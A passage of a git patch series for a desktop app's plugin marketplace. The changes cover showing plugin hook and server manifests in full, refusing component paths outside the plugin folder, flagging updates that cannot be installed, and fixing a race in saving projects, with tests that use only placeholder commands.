["hooks/hooks.json", ".mcp.json"] { - match read_utf8(tree, &format!("{}/{}", root, file), MAX_MANIFEST_BYTES) { - Ok(Some(text)) => out.push(PluginComponent { - label: file.to_string(), - content: truncate_preview(&text), - }), - Ok(None) => {} - Err(e) => out.push(PluginComponent { - label: file.to_string(), - content: e, - }), + for file in PLUGIN_RUNNABLE_FILES { + if let Some(text) = plugin_file(tree, root, file)? { + out.push(whole_component(file.to_string(), text)?); } } if let Ok(Some(children)) = tree.list_dir(&format!("{}/commands", root)) { @@ -699,7 +771,7 @@ fn plugin_components( .join("\n"), }); } - out + Ok(out) } fn parse_plugins(tree: &dyn TreeView, out: &mut Vec) { @@ -745,7 +817,10 @@ fn parse_plugins(tree: &dyn TreeView, out: &mut Vec) { .collect::>() .join("\n"); } - it.plugin_components = plugin_components(tree, &entry, &path); + match plugin_components(tree, &entry, &path) { + Ok(components) => it.plugin_components = components, + Err(e) => it.invalid = Some(e), + } } Err(e) => it.invalid = Some(e), } @@ -1201,6 +1276,112 @@ mod tests { ); } + fn plugin_repo(entry_extra: &str, plugin_json: &str) -> MemTree { + let catalog = format!( + r#"{{"plugins":[{{"name":"p","source":"./p"{}}}]}}"#, + entry_extra + ); + MemTree::new() + .file("plugins/.claude-plugin/marketplace.json", &catalog) + .file("plugins/p/.claude-plugin/plugin.json", plugin_json) + .file("plugins/p/skills/s/SKILL.md", "x") + } + + fn plugin(t: &MemTree) -> CatalogItem { + parse_catalog(t).into_iter().find(|i| i.key == "p").unwrap() + } + + /// Round 2 (#4): a `hooks` / `mcpServers` / `lspServers` value that is a + /// path (or a list of paths) is shown as the referenced file's contents. + #[test] + fn path_valued_plugin_components_show_the_referenced_files() { + let t = plugin_repo( + r#","hooks":"./config/entry-hooks.json""#, + r#"{"name":"p","mcpServers":["./mcp/a.json","mcp/b.json"],"lspServers":"./lsp.json"}"#, + ) + .file( + "plugins/p/config/entry-hooks.json", + r#"{"hooks":{"Stop":[{"hooks":[{"type":"command","command":"entry-hook-cmd"}]}]}}"#, + ) + .file("plugins/p/mcp/a.json", r#"{"a":{"command":"mcp-a-cmd"}}"#) + .file("plugins/p/mcp/b.json", r#"{"b":{"command":"mcp-b-cmd"}}"#) + .file("plugins/p/lsp.json", r#"{"l":{"command":"lsp-cmd"}}"#); + let p = plugin(&t); + assert_eq!(p.invalid, None); + let find = |label: &str| { + p.plugin_components + .iter() + .find(|c| c.label == label) + .unwrap_or_else(|| panic!("{label} missing: {:?}", p.plugin_components)) + .content + .clone() + }; + assert!( + find("marketplace.json entry: hooks → config/entry-hooks.json") + .contains("entry-hook-cmd") + ); + assert!(find(".claude-plugin/plugin.json: mcpServers → mcp/a.json").contains("mcp-a-cmd")); + assert!(find(".claude-plugin/plugin.json: mcpServers → mcp/b.json").contains("mcp-b-cmd")); + assert!(find(".claude-plugin/plugin.json: lspServers → lsp.json").contains("lsp-cmd")); + } + + #[test] + fn a_component_path_outside_the_plugin_or_missing_makes_it_invalid() { + for (value, reason) in [ + (r#""../other/hooks.json""#, "outside the plugin folder"), + (r#""/etc/hooks.json""#, "outside the plugin folder"), + (r#""./nope.json""#, "not in the plugin"), + ] { + let t = plugin_repo("", &format!(r#"{{"name":"p","hooks":{value}}}"#)) + .file("plugins/other/hooks.json", "{}"); + let p = plugin(&t); + let why = p.invalid.unwrap_or_default(); + assert!(why.contains(reason), "{value}: {why}"); + } + } + + #[test] + fn a_plugin_lsp_json_is_listed() { + let t = plugin_repo("", r#"{"name":"p"}"#) + .file("plugins/p/.lsp.json", r#"{"go":{"command":"gopls-cmd"}}"#); + let p = plugin(&t); + let lsp = p + .plugin_components + .iter() + .find(|c| c.label == ".lsp.json") + .unwrap(); + assert!(lsp.content.contains("gopls-cmd")); + } + + /// Round 2 (#2): runnable manifests are shown whole (up to the 1 MiB + /// manifest cap), never cut; one that cannot be shown whole is refused. + #[test] + fn plugin_components_are_shown_whole_or_the_plugin_is_refused() { + let padded = format!( + r#"{{"pad":"{}","hooks":{{"Stop":[{{"hooks":[{{"type":"command","command":"hidden-cmd"}}]}}]}}}}"#, + "x".repeat(200 * 1024) + ); + let t = plugin_repo("", r#"{"name":"p"}"#).file("plugins/p/hooks/hooks.json", &padded); + let p = plugin(&t); + assert_eq!(p.invalid, None); + let hooks = p + .plugin_components + .iter() + .find(|c| c.label == "hooks/hooks.json") + .unwrap(); + assert!(hooks.content.contains("hidden-cmd"), "cut short"); + assert!(!hooks.content.contains("(truncated)")); + + let huge = "x".repeat(MAX_MANIFEST_BYTES as usize + 1); + let t = plugin_repo("", r#"{"name":"p"}"#).file("plugins/p/.mcp.json", &huge); + let why = plugin(&t).invalid.unwrap_or_default(); + assert!(why.contains(".mcp.json is larger than 1 MiB"), "{why}"); + + let t = plugin_repo("", "{ not json"); + let why = plugin(&t).invalid.unwrap_or_default(); + assert!(why.contains("plugin.json is not valid JSON"), "{why}"); + } + #[test] fn plugin_catalog_entry_is_returned_verbatim() { let entry = plugin_catalog_entry(&full_repo(), "example-plugin").unwrap(); -- 2.52.0 From 60c03baf62c40cbdf5f85eeca28dc7a5aa02db96 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:22:01 -0700 Subject: [PATCH 42/45] Marketplace: explain, don't offer, updates that would be refused (PR re-review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ItemUpdate gains invalid_at_head: compute_updates records why the item cannot be installed at head (catalog invalid, or gone) — the rule update_marketplace_item applies — read once per marketplace from the snapshot at head, else from the catalog parsed at head. The Installed row shows that reason instead of a Review button, and the update counts in the Marketplace tab and Settings count only applicable updates. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/mod.rs | 102 +++++++++++++++++- app/src-tauri/src/models/marketplace.rs | 4 + .../marketplace/InstalledPane.test.tsx | 25 ++++- .../components/marketplace/InstalledPane.tsx | 9 +- .../marketplace/MarketplaceView.tsx | 5 +- .../settings/MarketplaceSettings.test.tsx | 14 ++- .../settings/MarketplaceSettings.tsx | 3 +- app/src/lib/marketplace.ts | 4 + app/src/lib/types.ts | 2 + 9 files changed, 158 insertions(+), 10 deletions(-) diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index dd47a48..010b130 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -23,7 +23,8 @@ use tauri::Emitter; use tokio::sync::oneshot; use crate::models::marketplace::{ - effective_installs, CatalogItem, ItemUpdate, Marketplace, MarketplaceInstall, MarketplaceSnapshot, SyncReport, + effective_installs, CatalogItem, ItemKind, ItemUpdate, Marketplace, MarketplaceInstall, MarketplaceSnapshot, + SyncReport, }; use crate::models::{AppSettings, Project}; use catalog::{item_fingerprint, parse_catalog}; @@ -103,6 +104,18 @@ impl MarketplaceManager { .and_then(|s| s.head_commit.clone()) } + /// Each item's `invalid` reason in the in-memory snapshot, if that + /// snapshot is at `head` — without copying the items' previews. + fn invalid_reasons_at( + &self, + marketplace_id: &str, + head: &str, + ) -> Option>> { + let snapshots = self.snapshots.lock().unwrap(); + let snap = snapshots.get(marketplace_id)?; + (snap.head_commit.as_deref() == Some(head)).then(|| invalid_reasons(&snap.items)) + } + pub fn snapshot(&self, marketplace_id: &str) -> Option { self.snapshots.lock().unwrap().get(marketplace_id).cloned() } @@ -350,12 +363,21 @@ pub async fn remove_marketplace_cache(mgr: &MarketplaceManager, marketplace_id: .await; } +fn invalid_reasons(items: &[CatalogItem]) -> HashMap<(ItemKind, String), Option> { + items + .iter() + .map(|i| ((i.kind, i.key.clone()), i.invalid.clone())) + .collect() +} + /// One marketplace's side of an update check: its head, read once, and its /// cache, opened once, with trees shared across installs (PR review #10). struct UpdateCheck { head: String, repo: Option, trees: HashMap>, + /// Catalog `invalid` per item at head, read once when first needed. + invalid_at_head: Option>>, } impl UpdateCheck { @@ -365,9 +387,40 @@ impl UpdateCheck { head, repo: None, trees: HashMap::new(), + invalid_at_head: None, }) } + /// Why `inst`'s item cannot be installed at head — the rule + /// `update_marketplace_item` applies (round 2) — from the snapshot when + /// it is at head, else from the catalog parsed at head. + fn invalid_reason( + &mut self, + mgr: &MarketplaceManager, + m: &Marketplace, + inst: &MarketplaceInstall, + ) -> Option { + if self.invalid_at_head.is_none() { + let head = self.head.clone(); + let reasons = match mgr.invalid_reasons_at(&m.id, &head) { + Some(r) => r, + None => match self.tree(&git::cache_path(mgr.data_root(), &m.id), &head) { + Ok(tree) => invalid_reasons(&parse_catalog(tree)), + Err(e) => return Some(e), + }, + }; + self.invalid_at_head = Some(reasons); + } + match self + .invalid_at_head + .as_ref() + .and_then(|r| r.get(&(inst.kind, inst.key.clone()))) + { + Some(reason) => reason.clone(), + None => Some(format!("\"{}\" is no longer in \"{}\".", inst.key, m.name)), + } + } + fn tree(&mut self, repo_path: &Path, commit: &str) -> Result<&GitTree, String> { if !self.trees.contains_key(commit) { if self.repo.is_none() { @@ -428,6 +481,7 @@ pub fn compute_updates( item: inst.item_ref(), pinned: inst.commit.clone(), head: check.head.clone(), + invalid_at_head: check.invalid_reason(mgr, m, inst), }), Ok(false) => {} Err(e) => log::debug!("Update check skipped for {}: {}", inst.key, e), @@ -876,6 +930,52 @@ mod tests { assert_eq!(updates[0].head, c2); } + /// Re-review round 2: an update to a head where the item is not + /// installable is listed with the reason, since update_marketplace_item + /// would always refuse it. + #[tokio::test] + async fn an_update_to_an_invalid_version_carries_the_reason() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + fx.write( + "hooks/notify-on-stop/hook.json", + r#"{"hooks":{"PreFoo":[{"hooks":[{"type":"command","command":"x"}]}]}}"#, + ); + fx.write( + "agents/code-reviewer.md", + "---\nname: code-reviewer\ndescription: Reviews code\n---\nReview harder.\n", + ); + std::fs::remove_file(fx.dir.path().join("commands/example-command.md")).unwrap(); + let c2 = fx.commit("break the hook, tweak the agent, drop the command"); + let data = tempfile::tempdir().unwrap(); + let mut settings = settings_with(&fx.url()); + settings.global_marketplace_installs = vec![ + install(ItemKind::Hook, "notify-on-stop", &c1), + install(ItemKind::Agent, "code-reviewer", &c1), + install(ItemKind::Command, "example-command", &c1), + ]; + { + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; + check_reasons(&compute_updates(&mgr, &settings, &[]), &c2); + } + // Same answer from the cache alone (no snapshot in memory). + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + check_reasons(&compute_updates(&mgr, &settings, &[]), &c2); + } + + fn check_reasons(updates: &[ItemUpdate], head: &str) { + let reason = |key: &str| { + let u = updates.iter().find(|u| u.item.key == key).unwrap(); + assert_eq!(u.head, head); + u.invalid_at_head.clone() + }; + assert_eq!(updates.len(), 3, "{updates:?}"); + assert!(reason("notify-on-stop").unwrap().contains("PreFoo")); + assert_eq!(reason("code-reviewer"), None); + assert!(reason("example-command").unwrap().contains("no longer in")); + } + /// PR review #10: refreshing one marketplace sets only its pins, and so /// never waits on another marketplace's lock. #[tokio::test] diff --git a/app/src-tauri/src/models/marketplace.rs b/app/src-tauri/src/models/marketplace.rs index 0e6d63b..5ea4de2 100644 --- a/app/src-tauri/src/models/marketplace.rs +++ b/app/src-tauri/src/models/marketplace.rs @@ -202,6 +202,10 @@ pub struct ItemUpdate { pub item: MarketplaceItemRef, pub pinned: String, pub head: String, + /// Why the item cannot be installed at `head` (invalid there, or gone), + /// so the update would be refused; `None` when it can be applied. + #[serde(default)] + pub invalid_at_head: Option, } #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] diff --git a/app/src/components/marketplace/InstalledPane.test.tsx b/app/src/components/marketplace/InstalledPane.test.tsx index d691462..b8b5604 100644 --- a/app/src/components/marketplace/InstalledPane.test.tsx +++ b/app/src/components/marketplace/InstalledPane.test.tsx @@ -73,7 +73,7 @@ describe("InstalledPane", () => { it("badges and accepts an update for the matching install", async () => { const mp = api({ - updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B }], + updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B, invalid_at_head: null }], }); render(); fireEvent.click(screen.getByRole("button", { name: "Review update for rev" })); @@ -99,7 +99,7 @@ describe("InstalledPane", () => { ] as unknown as Project[], }); const mp = api({ - updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B }], + updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B, invalid_at_head: null }], }); render(); const global = screen.getByTestId("installed-global"); @@ -108,13 +108,30 @@ describe("InstalledPane", () => { expect(within(proj).queryByRole("button", { name: "Review update for rev" })).not.toBeInTheDocument(); }); + it("re-review round 2: an update that would be refused shows why instead of a Review button", () => { + const mp = api({ + updates: [ + { + item: { marketplace_id: "m1", kind: "agent", key: "rev" }, + pinned: A, + head: B, + invalid_at_head: 'unknown hook event "PreFoo"', + }, + ], + }); + render(); + const global = screen.getByTestId("installed-global"); + expect(within(global).queryByRole("button", { name: "Review update for rev" })).not.toBeInTheDocument(); + expect(within(global).getByText(/Update to bbbbbbbb cannot be installed: unknown hook event "PreFoo"/)).toBeInTheDocument(); + }); + it("I2: accepts the head that was reviewed even if the update list moves on", async () => { const C = "c".repeat(40); const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" }; - const mp = api({ updates: [{ item, pinned: A, head: B }] }); + const mp = api({ updates: [{ item, pinned: A, head: B, invalid_at_head: null }] }); const { rerender } = render(); fireEvent.click(screen.getByRole("button", { name: "Review update for rev" })); - rerender(); + rerender(); fireEvent.click(screen.getByRole("button", { name: "accept diff" })); await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B)); }); diff --git a/app/src/components/marketplace/InstalledPane.tsx b/app/src/components/marketplace/InstalledPane.tsx index 5dd52fc..fb6cf43 100644 --- a/app/src/components/marketplace/InstalledPane.tsx +++ b/app/src/components/marketplace/InstalledPane.tsx @@ -100,9 +100,16 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) { {KIND_LABELS[i.kind].replace(/s$/, "").toLowerCase()} · {nameOf(i.marketplace_id)} · {i.commit.slice(0, 8)} {gone && Source removed} + {upd?.invalid_at_head && !gone && ( + // The update would be refused (re-review round 2), so it is + // explained rather than offered. + + Update to {upd.head.slice(0, 8)} cannot be installed: {upd.invalid_at_head} + + )}
    - {upd && !gone && ( + {upd && !upd.invalid_at_head && !gone && ( diff --git a/app/src/components/settings/MarketplaceSettings.test.tsx b/app/src/components/settings/MarketplaceSettings.test.tsx index f187e4e..d8871cf 100644 --- a/app/src/components/settings/MarketplaceSettings.test.tsx +++ b/app/src/components/settings/MarketplaceSettings.test.tsx @@ -25,7 +25,19 @@ describe("MarketplaceSettings", () => { } as unknown as AppSettings, }); listMarketplaceUpdates.mockResolvedValue([ - { item: { marketplace_id: "m1", kind: "agent", key: "a" }, pinned: "a".repeat(40), head: "b".repeat(40) }, + { + item: { marketplace_id: "m1", kind: "agent", key: "a" }, + pinned: "a".repeat(40), + head: "b".repeat(40), + invalid_at_head: null, + }, + // Not applicable (re-review round 2): not counted as available. + { + item: { marketplace_id: "m1", kind: "hook", key: "h" }, + pinned: "a".repeat(40), + head: "b".repeat(40), + invalid_at_head: 'unknown hook event "PreFoo"', + }, ]); }); diff --git a/app/src/components/settings/MarketplaceSettings.tsx b/app/src/components/settings/MarketplaceSettings.tsx index 7f1dc25..5d3d56e 100644 --- a/app/src/components/settings/MarketplaceSettings.tsx +++ b/app/src/components/settings/MarketplaceSettings.tsx @@ -1,6 +1,7 @@ import { useEffect, useState } from "react"; import { useAppState } from "../../store/appState"; import { listMarketplaceUpdates } from "../../lib/tauri-commands"; +import { applicableUpdates } from "../../lib/marketplace"; import Button from "../ui/Button"; const plural = (n: number, one: string, many: string) => `${n} ${n === 1 ? one : many}`; @@ -14,7 +15,7 @@ export default function MarketplaceSettings() { let cancelled = false; listMarketplaceUpdates() .then((u) => { - if (!cancelled) setUpdateCount(u.length); + if (!cancelled) setUpdateCount(applicableUpdates(u).length); }) .catch(() => { if (!cancelled) setUpdateCount(null); diff --git a/app/src/lib/marketplace.ts b/app/src/lib/marketplace.ts index 587232e..c710e94 100644 --- a/app/src/lib/marketplace.ts +++ b/app/src/lib/marketplace.ts @@ -1,5 +1,6 @@ import type { ItemKind, + ItemUpdate, MarketplaceInstall, MarketplaceItemRef, MarketplaceSnapshot, @@ -27,6 +28,9 @@ export const KIND_LABELS: Record = { /** A marketplace is refreshed when its tab opens if the last fetch is older than this. */ export const STALE_AFTER_MS = 15 * 60 * 1000; +/** Updates that can actually be applied (not refused as invalid at head). */ +export const applicableUpdates = (updates: ItemUpdate[]) => updates.filter((u) => u.invalid_at_head === null); + export const itemRefKey = (r: MarketplaceItemRef) => `${r.marketplace_id}/${r.kind}/${r.key}`; /** Same shape as the item strings in a `SyncReport`. */ diff --git a/app/src/lib/types.ts b/app/src/lib/types.ts index e8edccf..636122d 100644 --- a/app/src/lib/types.ts +++ b/app/src/lib/types.ts @@ -357,6 +357,8 @@ export interface ItemUpdate { item: MarketplaceItemRef; pinned: string; head: string; + /** Why the item cannot be installed at `head`, so the update would be refused; null when it applies. */ + invalid_at_head: string | null; } export type FileChange = "added" | "removed" | "modified"; export interface FileDiff { -- 2.52.0 From 0a4d1d5f9598ca9375d6265d8f33432b7d7f2fd4 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:22:43 -0700 Subject: [PATCH 43/45] Projects: restore store-owned fields under the store lock on save (PR re-review) update_project restored marketplace installs (and status, container id, flags) from a copy read before validation, then wrote the whole record later, so an install landing in between was lost. ProjectsStore gains update_restoring, which runs restore_store_owned_fields against the record as stored under the lock, and update_project writes through it. Co-Authored-By: Claude Opus 5.5 --- .../src/commands/project_commands.rs | 9 ++- app/src-tauri/src/storage/projects_store.rs | 57 +++++++++++++++++++ 2 files changed, 65 insertions(+), 1 deletion(-) diff --git a/app/src-tauri/src/commands/project_commands.rs b/app/src-tauri/src/commands/project_commands.rs index 74c1ca6..a52a17b 100644 --- a/app/src-tauri/src/commands/project_commands.rs +++ b/app/src-tauri/src/commands/project_commands.rs @@ -1112,7 +1112,14 @@ pub async fn update_project( // for every already-running container at launch. The version of this that // re-asserted on every save is what turned a stale flag in a payload into a // restarted bridge. - state.projects_store.update(project) + // + // The restore above served the validation; it is redone under the store's + // lock against the record as it is *now*, so a marketplace install, a + // status change or a container id landing since `stored` was read is kept + // rather than written over. + state + .projects_store + .update_restoring(project, restore_store_owned_fields) } /// Restore onto `project` the fields whose value belongs to the store rather diff --git a/app/src-tauri/src/storage/projects_store.rs b/app/src-tauri/src/storage/projects_store.rs index 7c09b23..6a261c5 100644 --- a/app/src-tauri/src/storage/projects_store.rs +++ b/app/src-tauri/src/storage/projects_store.rs @@ -205,6 +205,27 @@ impl ProjectsStore { } } + /// Replace a project with `updated`, after `restore` has copied onto it + /// the fields the store owns from the record *as stored under the lock*. + /// `update_project` restores from a copy it read earlier, so an install + /// or a status change landing in between would otherwise be written over + /// (re-review round 2). + pub fn update_restoring( + &self, + mut updated: Project, + restore: impl FnOnce(&mut Project, &Project), + ) -> Result { + let mut projects = self.lock(); + let p = projects + .iter_mut() + .find(|p| p.id == updated.id) + .ok_or_else(|| format!("Project {} not found", updated.id))?; + restore(&mut updated, p); + *p = updated.clone(); + self.save(&projects)?; + Ok(updated) + } + pub fn remove(&self, id: &str) -> Result<(), String> { let mut projects = self.lock(); let initial_len = projects.len(); @@ -520,6 +541,42 @@ mod tests { fs::remove_dir_all(&dir).ok(); } + #[test] + fn a_project_save_keeps_a_marketplace_install_made_after_it_read_the_record() { + // Re-review round 2: `update_project` read the stored record, then + // wrote the whole payload back later. An install landing in between + // was lost. The restore now runs against the record under the lock. + let dir = temp_dir("save-restore"); + let project = Project::new("demo".to_string(), Vec::new()); + let id = project.id.clone(); + let store = store_over(&dir, vec![project]); + + let mut payload = store.get(&id).unwrap(); // the Config tab's copy + payload.name = "renamed".to_string(); + store + .update_marketplace_fields(&id, |installs, _| { + installs.push(market_install("late")); + Ok(()) + }) + .unwrap(); + + let saved = store + .update_restoring(payload, |incoming, stored| { + incoming.marketplace_installs = stored.marketplace_installs.clone(); + incoming.marketplace_disabled = stored.marketplace_disabled.clone(); + }) + .unwrap(); + assert_eq!(saved.name, "renamed"); + assert_eq!(saved.marketplace_installs, vec![market_install("late")]); + assert_eq!(store.get(&id).unwrap().marketplace_installs, vec![market_install("late")]); + + let mut ghost = Project::new("ghost".to_string(), Vec::new()); + ghost.id = "nope".into(); + assert!(store.update_restoring(ghost, |_, _| {}).is_err()); + + fs::remove_dir_all(&dir).ok(); + } + #[test] fn marketplace_edits_across_all_projects_touch_only_those_fields() { let dir = temp_dir("marketplace-all"); -- 2.52.0 From 2ce019c470c2f459af1896dfb03f5167bd610f91 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:22:48 -0700 Subject: [PATCH 44/45] CLAUDE.md: imports skip both the hook and the plugin confirm steps (PR re-review) Co-Authored-By: Claude Opus 5.5 --- CLAUDE.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 3b97fd9..013460a 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -732,9 +732,11 @@ a project's Docker volumes are deliberately out of scope — this is not a proje (`validate_imported_marketplace_state`) — an import is untrusted input, not a trusted restore. The preview warns whenever the import carries one or more **global hook installs or global plugin installs**, in addition to the base-URL and custom-image warnings above: a hook runs - commands in every project container, and a plugin can carry its own hooks and MCP servers into - one — and an imported install skips the hook-confirm step an install from the Marketplace tab - shows, so this is the only place that confirmation happens for an import. + commands in every project container, and a plugin can carry its own hooks, MCP/LSP servers and + commands into one. In the Marketplace tab both kinds have a confirm step before they install + (`HookConfirmModal` lists a hook's commands, `PluginConfirmModal` lists everything a plugin + brings that runs); an import installs them without either, so the preview warning is the only + place that confirmation happens for an import. - **Encrypted because it can carry live credentials, not for appearance's sake.** Argon2id derives a 256-bit key from the user's password (memory-hard — meaningfully resistant to GPU/ASIC brute-forcing, unlike PBKDF2 at any reasonable iteration count), AES-256-GCM does the actual -- 2.52.0 From f55d91a09d0366742dbcce0269ba86d44a77f941 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 15:56:25 -0700 Subject: [PATCH 45/45] Marketplace: let the kind filter wrap inside the item column All + the five kinds were wider than the fixed-width item column, so Plugins was cut off behind a horizontal scrollbar. Co-Authored-By: Claude Opus 5.5 --- app/src/components/marketplace/BrowsePane.test.tsx | 6 ++++++ app/src/components/marketplace/BrowsePane.tsx | 1 + 2 files changed, 7 insertions(+) diff --git a/app/src/components/marketplace/BrowsePane.test.tsx b/app/src/components/marketplace/BrowsePane.test.tsx index 1287166..05ce73a 100644 --- a/app/src/components/marketplace/BrowsePane.test.tsx +++ b/app/src/components/marketplace/BrowsePane.test.tsx @@ -94,6 +94,12 @@ describe("BrowsePane", () => { expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument(); }); + it("lets the kind filter wrap instead of running out of its column", () => { + // All + five kinds are wider than the fixed-width item column. + render(); + expect(screen.getByRole("radiogroup", { name: "Item kind" })).toHaveClass("flex-wrap"); + }); + it("shows why an item is invalid", () => { render(); fireEvent.click(screen.getByRole("button", { name: /broken/ })); diff --git a/app/src/components/marketplace/BrowsePane.tsx b/app/src/components/marketplace/BrowsePane.tsx index 9d76f80..3c92c9f 100644 --- a/app/src/components/marketplace/BrowsePane.tsx +++ b/app/src/components/marketplace/BrowsePane.tsx @@ -169,6 +169,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
    label="Item kind" + className="flex-wrap" value={kind} onChange={setKind} segments={[ -- 2.52.0